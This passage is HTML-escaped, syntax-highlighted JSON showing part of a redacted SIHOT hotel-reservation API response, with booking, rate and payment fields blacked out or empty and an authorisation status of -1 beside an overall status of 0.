&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MEDIA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_CATEGORY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREATED_BY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MARKETCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;IS_LOCKED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREATION_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRALGUEST_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ASSIGNED_TO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INTERNET_PWD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;POINTS_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OPTIONUNTIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME1X&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPIREDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISOVERBOOKED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CURRENCY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;EUR&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISDEFAULT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;QUANTITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_KEY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DAYS&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPACKAGE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_CUR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXT_REFERENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VOUCHERNUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;WEB_PRE_CHECKIN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISBUMPEDOUT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INVOICEHOLDER_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEFAULTPAYMENTTYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PAYMENTTYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCLIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCHANDLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCNO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEP_TIME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CURRENCY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;EUR&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_POST_COMMISSION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_TITLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXTCOMMENT_C&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;POST_AREA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#75715e&#34;&gt;// ... usw. für alle Reservierungen des Tages
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;        ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;RES-SEARCH&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_PROPERTY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;UUID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████-██-██-██-███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;AUTHORISATION_RESPONSE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;-1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
